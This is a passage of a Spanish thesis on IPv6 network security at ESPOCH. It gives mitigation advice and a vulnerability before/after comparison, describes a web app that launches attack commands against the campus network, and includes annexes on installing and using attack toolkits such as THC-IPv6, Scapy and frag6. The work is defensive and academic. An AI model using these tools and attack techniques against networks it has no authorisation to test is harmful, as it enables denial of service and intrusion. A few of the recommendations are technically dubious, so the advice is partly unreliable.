Para mitigar la vulnerabilidad de la red que acepta paquetes ND maliciosos, se lo puede hacer de forma parcial haciendo cumplir el uso SEND[footnoteRef:8], es decir, lo que puede impedir que un atacante obtenga una dirección que ya esté en uso por otro host, pero sin embargo el atacante todavía podrá obtener una dirección que ha sido utilizada anteriormente, con todo se recomienda implementar el protocolo Neighbour Discovery para filtrar los mensajes de descubrimiento de vecinos malintencionados [8:   https://en.wikipedia.org/wiki/Secure_Neighbor_Discovery_Protocol] 

4.13 [bookmark: _Toc442981765]Ataque smurf
Para la mitigación de ataques smurf a través de la dirección de multidifusión de origen o destino, seria descartar con direcciones multicast y no enviar respuestas ICMP.
4.14 [bookmark: _Toc442981766]Ensamblaje de paquetes 
Para evitar colisión del sistema por ensamblaje incorrecto de paquetes fragmentados se recomienda implementar RFC 5722 y el RFC 6946.
4.15 [bookmark: _Toc442981767]Inundaciones RA
Para evitar ataques por inundaciones RA, se debe comprar switches con funcionalidad 'RA Guard' ya que filtran estos paquetes, los switches comunes "baratos" por lo general no son compatibles con esta funcionalidad. Otra medida puede ser los parches del fabricante a algunas versiones (ej: Windows 7) alivia el problema de alguna forma.
4.16 [bookmark: _Toc442981768] DoS a través de SeNd 
Para disminuir los ataques de DoS a través de inundaciones SeNd, se puede desactivar los sistemas de bajo rendimiento del CPU.
4.17 [bookmark: _Toc442981769]Agotamiento por tabla de estado 
Para evitar el agotamiento de la tabla de estado del sistema por inundaciones ND, se puede ajustar la configuración de caché neighbour la cual es similar a la cache ARP de IPv4 como también se tiene las siguientes opciones:
a. Reducir el tiempo de espera después de lo cual se elimina una entrada
b. Activar limitación de velocidad en los switch para filtrar mensajes neighbour discovery  
c. Como solución alternativa, es posible asignar / 64 prefijos de costumbre, sin embargo, aplicar un prefijo / 120 en vez de / 64 el alcance de detección del atacante es limitado. Tenga en cuenta que esta solución rompe SLAAC, ya que utiliza 64 bits identificadores de interfaz generados. Para los escenarios donde SLAAC no está en uso, esto proporciona una solución viable, por ejemplo, para los servidores o una red que utiliza DHCPv6 para la configuración de direcciones. 
d. Para los sistemas de computadoras normales, la mejora de la sistema operativo es, probablemente, la única opción para resolver los reinicios y bloqueos

4.18 [bookmark: _Toc442981770]DDoS por paquete de respuesta DNS
Para reducir los ataques DoS Amplificado a través de tamaño del paquete de respuesta DNS, debe implementar RRL (tasa de respuesta limitante) en los servidores DNS
4.19 [bookmark: _Toc442981771]Vulnerabilidad en aplicaciones 
Para disminuir las vulnerabilidades de seguridad en aplicaciones, la única posibilidad es aplicar los últimos parches a las aplicaciones.
4.20 [bookmark: _Toc442981772]Recomendaciones generales para la red IPv6
Como la red IPv6 se encuentra actualmente implementada de forma parcial, se recomienda que en un futuro se de conectividad total en IPv6. Y también que se desarrolle la documentación de la red IPv6 y que esté formada por diagrama de red, inventario de dispositivos conectados a ella, plan de contingencia, plan de seguridad y políticas de seguridad.

4.20.1 [bookmark: _Toc442981773]Consejos para realizar documentación de la red
La documentación de una red es necesaria ya sea de forma virtual o física de preferencia es recomendable mantener al alcance de ambas formas, ya que es eficaz cuando se presentan problemas eventuales con los dispositivos que forman parte de la red IPv6. Toda documentación de una red contiene: diagramas de red, inventarios de dispositivos, plan de seguridad, plan de contingencia y políticas de seguridad.
a) Mapa de red: Usado para una futura referencia en caso de una reestructuración de la red, algún incidente de seguridad, cambio de personal del departamento de redes. Este instrumento es de gran apoyo en la resolución de problemas, porque en el reposaría de forma gráfica la infraestructura de la red con sus direcciones IPv6.
Hoy en día existen una gama de herramientas como “cacoo” que permiten realizar estos tipos de diagramas de una manera muy sencilla y simple. A continuación algunas instrucciones para crear un mapa de red:
· Escoger una herramienta (ej.: Cacoo)
· Reconocer los componentes de la red (ej.: PC, Servidor, Router)
·  Hacer un bosquejo de la red en papel agrupando las VLAN en caso de existir.
· Diseñar el bosquejo del papel en la herramienta escogida
· Rotular cada dispositivo con su dirección IP, dirección MAC y nombre o tipo de dispositivo (ej.: servidor, host, router, etc.)

b) Inventario de dispositivos conectados en la red ipv6: Es importante porque hay muchos dispositivos conectados a la red y manteniendo un inventario organizado da ventajas sobre las tareas de administración que suelen complicarse, existen una variedad de software tanto open source como licenciados que llevan a cabo el inventario automatizado de todos los dispositivos SNMP conectados a la red, como impresoras de red, routers, switches, Access points, etc. Estas herramientas actúan como servidores monitorizando varios aspectos de los dispositivos conectados a la red, de esta manera, usted podrá tomar mejores decisiones sobre su infraestructura, logrando una gestión más inteligente de TI aprovechando sus funcionalidades como reportes o acceso al control remoto.
A continuación en la tabla Nro.61, se representa el formato de la bitácora propuesta para la organización de información respecto al inventario:
	# inventario
	Nombre Componente 
	Fecha adquisición  
	IPv6
	Estado

	
	
	
	
	

	
	
	
	
	


[bookmark: _Toc442981857]
Tabla 61: Bitácora del registro del inventario de dispositivos
 Realizado por: Johanna Mera

c) Plan de seguridad: En este se desarrolla objetivos de seguridad a largo plazo que contempla: el estudio de soluciones, la selección de herramientas, la asignación de recursos y el estudio de viabilidad. Para la elaboración de este documento se tomara en cuenta la siguiente secuencia: 
1. Presentación del documento. 
2. Alcance. 
3. Caracterización del Sistema Informático. 
4. Resultados del Análisis de Riesgos. 
5. Políticas de Seguridad Informática. 
6. Sistema de Seguridad Informática. 
6.1. Medios humanos. 
6.2. Medios técnicos. 
6.3. Medidas y Procedimientos de Seguridad Informática. 
6.3.1. De protección física. 
6.3.1.1. A las áreas con tecnologías instaladas. 
6.3.1.2. A las tecnologías de información. 
6.3.1.3. A los soportes de información. 
6.3.2. Técnicas o lógicas. 
6.3.2.1. Identificación de usuarios. 
6.3.2.2. Autenticación de usuarios. 
6.3.2.3. Control de acceso a los activos y recursos. 
6.3.2.4. Integridad de los ficheros y datos. 
6.3.2.5. Auditoría y alarmas. 
6.3.3. De seguridad de operaciones. 
6.3.4. De recuperación ante contingencias. 
7. Anexos. 
7.1. Programa de Seguridad Informática 
7.2. Listado nominal de usuarios con acceso a redes de alcance global. 
7.3. Registros

d) Plan de contingencia: Su elaboración es aconsejable porque sirve de guía para tomar decisiones luego de una interrupción o desastre no planeados, para el cual se tiene escenarios definido, con soluciones para recuperar aunque sea en parte la capacidad funcional del sistema. A continuación los pasos para realizar un plan de contingencia:
1. Planificación de escenarios hipotéticos
2. Identificación de riesgo
3. Identificación de soluciones
4. Definir estrategias
5. Documentación del proceso
6. Realización de pruebas
7. Implementación o documentación de los casos
8. Validación de casos

e) Políticas de seguridad: Desarrollar, implementar y actualizar políticas de seguridad, normas y procesos es fundamental para todo departamento de redes ya que estas sirven para cumplir con regulaciones técnicas, son una guía para el comportamiento profesional del equipo de trabajo encargado, permiten encontrar mejores prácticas en un trabajo organizado. Pautas para crear una política de seguridad:
a. Determinar el sector vulnerable para el que se realizara la política.
b. Recopilación de información sobre la vulnerabilidad
c. Evaluación de la información y valoración de riesgo
d. Analizar el entorno y el grupo de riesgo para tomar acciones
e. Definir los procedimientos
f. Desarrollar la política
g. Promover la política es decir conseguir que la aprueben, encajarla en el  archivo de políticas de seguridad 
h. Poner en funcionamiento a la política

4.20.2 [bookmark: _Toc442981774]Implementar la conectividad total en IPv6
Es justo que la ESPOCH goce de una conectividad IPv6 en todas las VLANs, aunque para esto se debe considerar tomar primero las debidas medidas necesarias para la protección de la red.









CAPÍTULO V
[bookmark: _Toc442981775]MARCO HIPOTÉTICO
En este capítulo es muy importante porque sin duda alguna marca la pauta del éxito o fracaso de la presente investigación, aquí se expondrá los resultados tanto del primer escenario de estudio que se realizó en el capítulo tres, donde la infraestructura de la red no contaba con políticas de seguridad; como también los resultados del segundo escenario donde se reestructuro la red IPv6 e implementó las políticas de seguridad que constan en el capítulo cuatro, tomando como índices las vulnerabilidades que han sido encontradas en la red IPv6 de la ESPOCH con la finalidad de determinar si disminuye el nivel de vulnerabilidad en dicha red.
Para la demostración de la hipótesis, se utilizó un método directo e inductivo mediante la comparación de los dos escenarios de la infraestructura de la red IPv6 de la ESPOCH que se dio en el transcurso de la presente investigación.
5.1 [bookmark: _Toc442981776]DEMOSTRACIÓN DE LA HIPÓTESIS 
Hipótesis: La aplicación de las políticas y procedimientos de seguridad permitirá disminuir vulnerabilidad en la red IPv6 de la ESPOCH.
Mediante la comparación de los escenarios 1 y 2, se definirá el porcentaje de disminución del nivel de vulnerabilidad en la red IPv6 de la ESPOCH. En la tabla Nro66, se listan 100% de las vulnerabilidades que fueron halladas en el capítulo III, siendo un total de 18 vulnerabilidades que constan en el escenario1 el cual representa al estado de la red IPv6 sin la aplicación de políticas de seguridad y el escenario2 donde se atribuyen los resultados una vez implementadas las políticas de seguridad expuestas en el capítulo IV. 

	#
	Vulnerabilidades
	Escenario1 
	Escenario2

	1
	Los cortafuegos no configurados para IPv6
	
	

	2
	Control a usuarios remotos con dirección IPv6 deficiente
	
	

	3
	Acceso físico y remoto a los dispositivos con IPv6
	
	

	4
	Fingerprinting
	
	

	5
	Descubrimiento de host
	
	

	6
	Existen características IPv6 obsoletas
	
	

	7
	Existe mala funcionalidad de IPv6
	
	

	8
	El firewall no bloquea tráfico IPv6
	
	

	9
	El firewall no filtra tráfico IPv6
	
	

	10
	El firewall no gestiona correctamente fragmentos superpuestos
	
	

	11
	Red acepta paquetes ND maliciosos
	
	

	12
	Red acepta ataques smurf
	
	

	13
	Colapsado el sistema por ensamblaje incorrecto de paquetes de mensajes fragmentados
	
	

	14
	Red acepta ataques por inundaciones de paquetes RA
	
	

	15
	Red acepta ataques DoS a través de inundaciones SeNd
	
	

	16
	Agotamiento por las inundaciones ND
	
	

	17
	Red acepta ataques DDoS a través de tamaño del paquete de respuesta DNS
	
	

	18
	Vulnerabilidad en la seguridad de aplicaciones
	
	

	
	Total de vulnerabilidades
	18
	13


[bookmark: _Toc442981858]Tabla 62: Cuadro comparativo de vulnerabilidades encontradas
 Realizado por: Johanna Mera
En la ilustración Nro.46, se aprecia de forma gráfica la disminución del nivel de vulnerabilidad en la red IPv6 de la ESPOCH, donde se destaca con azul el resultado obtenido del escenario1 y con rojo los del escenario2. 

[bookmark: _Toc442981906]Ilustración 46: Nivel Vulnerabilidad 
Realizado por: Johanna Mera

	
	Escenario1
	Escenario2
	Escenario1 – Escenario2

	
	18 vulnerabilidades
	13 vulnerabilidades
	18 -13 = 5 vulnerabilidades

	Nivel de vulnerabilidad en %
	100%
	X
	X


[bookmark: _Toc442981859]Tabla 63: Datos escenarios
 Realizado por: Johanna Mera
Formulas:
	Escenario1
	Escenario2
	Escenario1 – Escenario2

	

	
	


[bookmark: _Toc442981860]Tabla 64: Disminución del nivel de vulnerabilidad en la red IPv6 de la ESPOCH.
Realizado por: Johanna Mera

Con el diseño e implementación de las políticas y procedimientos se elaboró 14 reglas que fueron implementadas en el firewall ASA 5500 para la administración de cuentas de usuario, el acceso a dispositivos, el bloqueo de tráfico entrante y el filtrado de tráfico IPv6. Con esto se  logró reducir a 13 vulnerabilidades (72%), es decir se mitigo a 5 de ellas que representa el 28% de disminución del nivel de vulnerabilidad de las 18 vulnerabilidades que inicialmente presentaba la red.









CAPÍTULO VI
[bookmark: _Toc442981777]DOCUMENTACIÓN DE LA APLICACIÓN
Una vez culminada la parte investigativa del presente trabajo, a continuación se procedió a desarrollar una la aplicación web estimada en un objetivo específico, dicha aplicación tiene como finalidad evaluar el nivel de vulnerabilidades que tiene la red IPv6 de la ESPOCH.
En este capítulo se estudiara la definición e instalación de las herramientas de desarrollo para la realización de la aplicación, el análisis, definición y levantamiento de los requisitos para la aplicación web, el análisis y diseño de la base de datos para el almacenamiento de datos que requiere la aplicación web, el diseño de prototipos e interfaces para la aplicación web, la codificación de la aplicación web y por ultimo las pruebas de funcionamiento de dicha aplicación web.
6.1 [bookmark: _Toc442981778]Estudio, definición e instalación de las herramientas de desarrollo
Para la elaboración de la aplicación informática para la evaluación de las vulnerabilidades encontradas en la red IPv6, se necesitó la instalación de las siguientes herramientas:
· Motor de Base de Datos: PostgreSQL 9.2
· IDE de desarrollo: Netbeans 8.02
· Lenguaje de programación: Java.
· Jdk java versión : 1.7
· Framework: jsf versión 2.2
· Librerías: PrimeFaces versión 5.3,  jfree versión 17
· Servidor Web: grassfish server versión 4.1

· Patrón de Diseño: Modelo Vista Controlador (MVC)
· Metodología: Secuencial

6.2 [bookmark: _Toc442981779]Análisis, definición y levantamiento de los requerimientos para la aplicación
En la ilustración Nro.47, se aprecia la funcionalidad de la aplicación web.
Gestión de Procesos
Login
Ejecuta Ataque

Registra
Genera 
Estadísticas
Encuesta
AppAttack






  

[bookmark: _Toc442981907]Ilustración 47: Gestión de procesos de la aplicación 
Realizado por: Johanna Mera


· El administrador deberá identificarse para acceder a la aplicación.
· El administrador deberá ejecutar comandos para realizar ataques o descubrir vulnerabilidades en la red por medio de la aplicación web, que esta a su vez registra el historial de ataques realizados en la red IPv6 de la ESPOCH. 
· El administrador deberá realizar periódicamente una encuesta que permitirá evaluar el nivel de vulnerabilidad en la red.
· El administrador podrá acceder al módulo donde la aplicación por medio de los datos registrado ya sea de los ataques y del cuestionario realizados por dicho usuario, muestra cuadros estadísticos para mayor comprensión de acerca del estado de la red IPv6 de la institución.

6.3 [bookmark: _Toc442981780]Análisis y diseño de la Base de Datos
Esta actividad tuvo como objetivo analizar y diseñar una base de datos para la aplicación web propuesta en el presente documento, que sea capaz de ser flexible es decir sujeta a futuros cambios; dicha base de datos se realizó en base a los requerimientos expuestos en el anterior ítem, en la Ilustración Nro.48 se presenta el diseño conceptual de la base de datos.
[image: ]
[bookmark: _Toc442981908]Ilustración 48: Diseño Conceptual de la base de datos 
Realizado por: Johanna Mera

Para las vulnerabilidades se ha creado una tabla vulnerabilidades, donde se registra: ID, el nombre de la vulnerabilidad (ej.: fingerprinting) y el tipo al que pertenece (ej.: vulnerabilidades de filtrado), donde el campo tipo es a su vez el ID de la tabla vulnerabilidad en la cual se registra (ID, descripción). Como una vulnerabilidad puede ser aprovechada para realizar un ataque en la tabla historiaAtaque, donde se registra todos los ataques que ha sido expuesta la red IPv6 siendo sus campos un ID, comando es decir se registra la línea de comando con que se realizó el ataque, vulnerabilidadAtaque  para identificar de cual vulnerabilidad se ha basado, archivoAdjunto que se guarda el un archivo txt en forma de byte en el cual es la salida del comando ejecutado. Cada vulnerabilidad es parte de un cuestionario para realizar una encuesta y para registrar sus datos se crearon las tablas cuestionario (idvulnerabilidad, respuesta, observación, IdEncuesta) y encuesta (idEncuesta, fecha, descripción).
La base de datos (BD), lleva como nombre “AppTesis”, contendrá dos esquemas denominado “login” y “control”, dentro de estos esquema, se ejecutará el script perteneciente al contenido del diseño conceptual, permitiendo de esta manera crear entidades con sus respectivas restricciones y procedimientos necesarios para la manipulación de la información de la base de datos.
6.4 [bookmark: _Toc442981781]Diseño de interfaces
Se refiere al diseño de las pantallas, que se observa a continuación en la ilustración Nro. 49 de dichos prototipos:

logo
ESPOCH – Escuela Superior Politécnica de Chimborazo – Saber para Ser
Acceso
Usuario
Clave
Ingresar
Ataque
XXXXXXXXXXXXXXXXXXX
Consola
Derechos  reservados







[bookmark: _Toc442981909]Ilustración 49: Prototipo de diseño de pantalla 
Realizado por: Johanna Mera


El estándar para las pantallas de la aplicación tendrán a lado superior derecho de la pantalla las opciones de cerrar, minimizar y maximizar; así como también a lado superior izquierdo el nombre de la pantalla, en la parte central de la pantalla se insertó una imagen relacionada al objetivo, se presentará los campos de datos que deben ser llenados, campos que variarían dependiendo de los datos de las entidades que se realice el ingreso y finalmente tendrá un botón Aceptar para almacenar la información ingresada. Para mayor detalle de los prototipos de pantallas (ver Anexo 6).
6.5 [bookmark: _Toc442981782]Codificación del Sistema 

AppTesis, una aplicación informática que permite generar ataques y evaluación de dichos ataques realizados a la red IPv6 de la ESPOCH, la aplicación se elaboró bajo el lenguaje de programación java, con el patrón de diseño MVC (Modelo Vista Controlador) permitiendo de esta manera tener un orden en la programación, para ello se desarrolló las capas de: Acceso a datos, Lógica de negocios, Controladores y Vistas. Para la revisión de la programación (ver Anexo 7) 



                              
[bookmark: _Toc425137235][bookmark: _Toc442981910]Ilustración 50: Diagrama de componentes y despliegue 
Realizado por: Johanna Mera
Para la administración de la aplicación web se desarrollaron clases con métodos de acuerdo a las tablas de la BD y a sus procedimientos almacenados con operaciones de ingresar, modificar, eliminar, listar por identificador y listar todos.
Además se definieron controles para la interfaz como por ejemplo; Controles Comunes Botón de Pulsación, Este control se utilizó  para realizar acciones específicas en la aplicación, permitiendo al usuario interactuar con el sistema.
6.6 [bookmark: _Toc442981783]Pruebas de funcionamiento 
Toda aplicación necesita someterse a pruebas para comprobar su funcionamiento, esta etapa es importante, ya que se puede llegar a identificar errores, problemas como la no validación de los datos o la no obtención de los mismos.
Las pruebas que se realizaron fueron:   
· Ingreso, modificación, eliminación y visualización correcta de los datos. 
· Validación de campos. 
· Ingreso de campos obligatorios. 
· Agregar o eliminar información a la lista para posteriormente guardarlos en la BD.
Para llevar a cabo dichas pruebas se utilizaron los estándares del ciclo de vida del software IEEE829 que corresponde a la documentación de pruebas de software (STD), IEEE1012 que responde a la verificación y validación de software (V&V) y ISO/IEC 29119 donde se utilizó una técnica de testeo dinámica con especificación de casos de uso.
En los resultados de las pruebas, se logró identificar que la aplicación presentaba errores de codificación de un 10%, los mismos que fueron corregidos 


[bookmark: _Toc442981784]CONCLUSIONES Y RECOMENDACIONES
[bookmark: _Toc442981785]CONCLUSIONES
· Utilizando las herramientas scapy, thc-ipv6, sendip, toolkit y la encuesta realizada al director del departamento de redes de DTIC se detectó la existencia de 18 vulnerabilidades en la red IPv6 de la ESPOCH; de 36 que se probaron tales como: que los cortafuegos no estaban configurados para IPv6, fingerprinting, existen características IPv6 obsoletas, mala funcionalidad de IPv6, la red acepta paquetes maliciosos, etc.
· En el diseño e implementación de políticas y procedimientos de seguridad se elaboró 14 reglas que fueron implementadas en el firewall ASA 5500 para la administración de cuentas de usuario, el acceso a dispositivos, el bloqueo de tráfico entrante y el filtrado de tráfico IPv6.
· La aplicación de políticas y procedimientos de seguridad en la red IPv6 de la ESPOCH permitió reducir a 13 vulnerabilidades de las 18 halladas, es decir se disminuyó el 28% del nivel de vulnerabilidad que inicialmente presentaba la red.
· Al evaluar la seguridad de la red IPv6 de la ESPOCH por medio de la aplicación web AppAttack se logró generar estadísticas sobre el nivel de vulnerabilidad.


[bookmark: _Toc442981786]RECOMENDACIONES
· El uso de herramientas de software libre como SCAPY, THC-IPv6, SENDIP e IPv6 TOOLKIT sirven para la búsqueda y verificación de fallas de seguridad pero es recomendable la investigación de herramientas alternativas tales como sinfp3, nmap, trace6, dnssecwalk, dig, etc.
· La revisión de las políticas de seguridad desarrolladas en este documento debe ser apoyo para la toma de decisiones al momento de implementar una red IPv6.
· El desarrollo de la documentación de la red IPv6 debe estar formada por el diagrama de red, el inventario de los dispositivos conectados a ella, el plan de contingencia, el plan de seguridad y las políticas de seguridad para utilizar de referencia en la toma de decisiones eventuales.
· Se realice investigaciones específicas de cada vulnerabilidad que afecta a la red IPv6 de la Escuela Superior Politécnica de Chimborazo e identificar equipos especializados en seguridad para lograr su mitigación.


[bookmark: _Toc442981787]GLOSARIO
Anuncio de routers	Mensaje de descubrimiento de vecinos enviado por un router bien de forma pseudo-periódica o como respuesta a un mensaje de solicitud de router. El anuncio incluye al menos información acerca de un prefijo que será el que luego utilice el host para calcular su dirección IPv6 unicast según el mecanismo “stateless”.
ARP Spoofing	Es un método de ataque que tiene como principio enviar mensajes ARP falsos a la Ethernet. Normalmente la finalidad es asociar la dirección MAC del atacante con la dirección IP de otro nodo, como por ejemplo la puerta de enlace predeterminada.
Arquitectura de pila dual		Una arquitectura para nodos IPv6/IPv4 en la que existen dos implementaciones completas de la pila de protocolos, una para IPv4 y otra para IPv6, cada una de ellas con su propia implementación de la capa de transporte (TCP y UDP).
Autoconfiguración de direcciones “stateful”		Utilización de un protocolo de autoconfiguración de direcciones “stateful”, por ejemplo DHCPv6, para obtener direcciones IPv6 y parámetros de configuración asociados.
Autoconfiguración de direcciones “stateless”	Uso de procedimientos de descubrimiento de vecinos (y anuncios de routers) para obtener las direcciones IPv6 y los parámetros de configuración asociados.
Autoconfiguración de direcciones	Proceso de configuración automática de direcciones IPv6 en un interfaz. Ver autoconfiguración de direcciones “stateful” y autoconfiguración de direcciones “stateless”.
Backbones	Es la parte de la infraestructura de red de ordenadores que interconecta las diferentes redes y proporciona un camino para el intercambio de datos entre estas redes diferentes
Cabecera de autenticación	Una cabecera de extensión IPv6 que proporciona autenticación del origen de datos, integridad de datos y servicio anti-repetición para la carga del datagrama y la cabecera IPv6 a excepción de los campos variables.
Cabecera de extensión	Cabeceras que se sitúan entre la cabecera IPv6 y las cabeceras de los protocolos de nivel superior que son empleadas para dotar de funcionalidades adicionales a IPv6.
Cabecera de fragmentación	Una cabecera de extensión IPv6 que contiene información para reensamblado para ser utilizada en el nodo receptor.
Cabecera de opción de salto-a-salto		Una cabecera de extensión de IPv6 que contiene opciones que deben ser procesadas por todos los routers intermedios y el final.
Caché de vecinos	Es una caché mantenida por cada nodo IPv6 que almacena la dirección IP de sus vecinos en el enlace, sus correspondientes direcciones de nivel de enlace, y una indicación de su estado de accesibilidad. Las caché de vecinos es equivalente a la caché ARP en IPv4
CPE	Es el hardware de telecomunicaciones ubicada en la casa o negocio de un cliente
Descubrimiento de routers	Procedimiento de descubrimiento de vecinos que permite descubrir los routers conectados en un determinado enlace.
Descubrimiento de vecinos	Es un conjunto de mensajes y procesos ICMPv6 que determinan las relaciones entre nodos vecinos. El descubrimiento de vecinos reemplaza a ARP, el descubrimiento de rutas ICMP y el mensaje de redirección ICMP empleados en IPv4. También proporciona detección de vecino inaccesible.
Dirección MAC	Dirección de nivel de enlace de tecnologías típicas de redes locales como Ethernet, Token Ring y FDDI. También se la conoce como dirección física, dirección del hardware o dirección del adaptador de red.
Dirección multicast	Es una dirección que identifica múltiples interfaces y que se emplea en entregas de datos uno-a-muchos. Mediante la topología de rutado multicast apropiada, los paquetes dirigidos a una dirección multicast se entregarán a todas las interfaces identificadas por ella.
Dirección unicast	Dirección que identifica a una única interfaz y que permite comunicaciones punto a punto a nivel de red. El alcance o ámbito de utilización de esa dirección es precisamente aquél en el que esa dirección es única
Direcciones Anycast	Es una dirección del rango reservado para las direcciones unicast que identifica múltiples interfaces y es empleada para la entrega de uno a uno-entre-varios. Con un rutado apropiado, los datagramas dirigidos a una dirección de tipo anycast serán entregados en un único interfaz, el más cercano
Fragmentación	La fragmentación es el proceso en el que un nodo se divide en  paquetes más pequeños con el fin de viajar a través de una conexión que tiene una unidad máxima de  transmisión más pequeña (MTU) que el tamaño real de paquetes. El nodo de destino será entonces re-ensamblado.
Fragmento	Una porción de una carga enviada en un datagrama IPv6 enviada por un host. Los fragmentos contienen una cabecera de fragmentación
FreeBSD	Es un sistema operativo libre para computadoras basado en las CPU de arquitectura Intel
ICMPV6	Protocolo para los mensajes de control de Internet para IPv6. Un protocolo que proporciona mensajes de error para el rutador y entrega de datagramas IPv6 y mensajes de información para diagnóstico, descubrimiento de vecinos, descubrimiento de receptores multicast y movilidad IPv6.
ISATAP	Es un mecanismo de transición de IPv6 para transmitir paquetes de IPv6 entre nodos con doble pila (dual-stack) sobre redes IPv4.
MTU	Es la unidad de datos del protocolo más grande que se puede enviar. Las unidades máximas de transmisión se definen a nivel de enlace (tamaño máximo de trama) y a nivel de red o de Internet (tamaño máximo de los paquetes IPv6).
Multicast 	Es un servicio de red en el cual un único flujo de datos, proveniente de una determinada fuente, puede ser enviada simultáneamente para diversos destinatarios.
NAT	Traduce las direcciones IP de las computadoras en una red local a una única dirección IP.
OS X	Es una línea de núcleo abierto sistemas operativos gráficos desarrollados, comercializados y vendidos por Apple Inc
Paquete	La unidad de datos del protocolo (PDU) existente a nivel Internet. En el caso de IPv6, un paquete consta de una cabecera y la carga útil IPv6.
RA Guard	Es una función que proporciona soporte para permitir que el administrador de la red bloquee o rechazase mensajes de RA guard no deseados o deshonestos que llegan a la plataforma de dispositivo de red.
RA	Mensaje de descubrimiento de vecinos enviado por un router bien de forma pseudo-periódica o como respuesta a un mensaje de solicitud de router. El anuncio incluye al menos información acerca de un prefijo que será el que luego utilice el host para calcular su dirección IPv6 unicast según el mecanismo “stateless”
Router	Nodo que puede retransmitir datagramas que no van específicamente destinados a él. En una red IPv6 un router suele enviar además anuncios relativos a su presencia y su información de configuración. A veces denominado encaminador.
RRL	Es una mejora de las implementaciones de la DNS protocolo que puede ayudar a mitigar DNS ataques de amplificación.
source routing	Permite a un remitente de un paquete para especificar parcial o totalmente la ruta del paquete lleva a través de la red. En contraste, en los protocolos de enrutamiento no de origen, routers en la red determinan la ruta basado en el destino del paquete
Spoofing	Este término se refiere  al hecho de engañar a los sistemas informáticos o de otros usuarios de computadoras. Esto suele hacerse al ocultar la identidad de uno o falsificar la identidad de otro usuario en Internet o también conocido esto último como suplantación de identidad.	
Stack	Es un	tipo de estructura de datos abstractos basada en el principio de Last In First Out (LIFO; el último en entrar – el primero en salir).
Target		IP victima  seleccionado como objetivo de un ataque
Túnel	Un túnel IPv6 sobre IPv4, en los que los puntos finales sin determinados por configuración manual
Vecino	Nodo conectado al mismo enlace
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[bookmark: _Toc442981790]ANEXO 1: Instalación de herramientas
Herramienta: THC-IPV6  para su instalación se requirió los archivos de desarrollo libpcap y libopenssl. Los mismos que para  Debian / Ubuntu, puede instalarlos por:
          $ sudo apt-get install libpcap-dev libssl-dev
[image: ]






Luego de haber instalado los archivos anteriores es necesario descomprimir el archivo que contiene la herramienta THC-IPV6  para él se emplea el siguiente comando:
[image: ]$ sudo tar -xzf thc-ipv6-2.3.tar.gz 





 








Una vez descomprimido el archivo se debe acceder a la carpeta que se extrae la misma que tomo el nombre del archivo y a su vez ejecutar el makefile para ello se utilizara los siguientes comandos:
	$ cd thc-ipv6-2.3
$ make
[image: ]










[image: ]$ sudo make install














Una vez instalada la herramienta es necesario liberar la memoria cache, listar la carpeta que se origina en la instalación y ejecutar dichas herramientas para ello se utilizara los siguientes comandos:
$ make clean
[image: ]
	



$ ls - l  l more
[image: ]










$ sudo alive6
[image: ]










[bookmark: index-4]Herramienta: SCAPY en su instalación asegúrese de tener Python instalado antes de continuar. Si se desea siempre tener instalada la última versión con todas las nuevas características y correcciones de errores, utilice repositorio de Mercurial Scapy:
Como primer paso instale el Mercurial sistema de control de versiones para trabajar sobre el uso de Debian / Ubuntu se utilizara el siguiente comando:
$ sudo apt-get install mercurial
Luego echar un vistazo a un clon del repositorio de Scapy de la siguiente manera:
$hg clone http://hg.secdev.org/scapy
[image: ]
Una vez clonado el repositorio se procede a instalar Scapy de la manera estándar, ya instalado se lo puede probar ejecutando la herramienta con los siguientes comandos:
$ cd scapy
$ sudo python setup.py install
[image: ]


$ sudo scapy
[image: ]





Herramienta: TOOLKIT para instalar esta herramienta es necesario descomprimir el archivo que contiene la herramienta TOOLKIT, luego acceder a la carpeta que se extrae la misma que tomo el nombre del archivo y a su vez ejecutar el makefile para ello se utilizara los siguientes comandos:  
$ sudo tar -xzf ipv6toolkit-v1.4.1.tar.gz 
$ cd ipv6toolkit-v1.4.1
$ make
[image: ]







[image: ]$sudo make install








Para asegurarse si está instalado el conjunto de herramientas, podemos listar  y ejecutar alguna de las herramientas, esto se hará con los siguientes comandos:
	$ls - l l more
[image: ]






	


$ sudo tcp6
[image: ]


	Herramienta: SENDIP  para la instalación de esta herramienta se encontró un archivo deb en la web: http://security.ubuntu.com/ubuntu/pool/universe/s/sendip/sendip_2.5-3_i386.deb y se lo procedió a descargar y ejecutarlo a continuación están detalladas las imágenes: 
[image: ][image: ]
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[bookmark: _Toc442981791]ANEXO 2:  Acuerdo N° 007-2012 correspondiente al Ministerio de Telecomunicaciones y de la Sociedad de la Información
	Emitido el 18 de enero del 2012 Acuerda que las instituciones y organismos del sector público, implementen en sus sitios web y plataformas de servicios electrónicos, el soporte y compatibilidad con el protocolo IPv6 de manera coexistente con el protocolo IPv4. 
[image: ]
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[bookmark: _Toc442981792]ANEXO 3:  Especificaciones técnicas & pruebas desarrolladas con las herramientas de las aplicaciones IPV6TOOLKIT, THC-IPV6, SCAPY, SENDIP.
	IPV6TOOLKIT
     Esta herramienta se originó como parte de un proyecto financiado por UK para proteger la CPNI. Fue desarrollada por SI6 Networks, es un completo framework con diferentes herramientas que nos permite, realizar tareas sobre redes IPv6, la versión actual 1.3.4. 

		Especificaciones técnicas
	Herramientas

	address6
	Convierte una MAC o una dirección IPv4 en una dirección Ipv6. Y si tiene  la dirección Ipv6 imprime la MAC o la dirección Ipv4.

	flow6
	Permite llevar a cabo una evaluación de seguridad de la política de generación de flujo de etiqueta de un nodo de destino.

	frag6 
	Herramienta para llevar a cabo ataques de fragmentación IPv6 y para llevar a cabo una evaluación de seguridad para los vectores de ataques basados en fragmentos IPv6.

	icmp6
	Esta herramienta realiza ataques basados en errores de los paquetes ICMPv6.

	jumbo6
	[bookmark: IL_AD2]Evalúa posibles deficiencias en el manejo de los jumbogramas de IPv6

	na6
	Permite enviar mensajes de anuncio de vecinos arbitrarios.

	ni6
	[bookmark: IL_AD4]Envía mensajes ICMPv6 con información de los nodos arbitrarios, y evalúa las posibles fallas en el tratamiento de dichos paquetes.

	ns6
	Envía mensajes ICMP6 de solicitud de vecinos arbitrarios. 

	ra6
	Permite la evaluación de las implementaciones IPv6 con respecto a una variedad de ataques basa en Mensajes ICMPv6 Router Advertisement

	rd6
	Sirve para enviar mensajes ICMPv6 re direccionados arbitrariamente

	rs6
	Envía solicitudes al router arbitrariamente.

	scan6
	Herramienta que funciona como scanner para direcciones IPv6

	tcp6
	Permite enviar paquetes TCP en IPv6 de la manera que se quiera

	Opciones de la Herramienta address6

	--address, -a             
	dirección IPv6 a descodificar

	--stdin, -i               
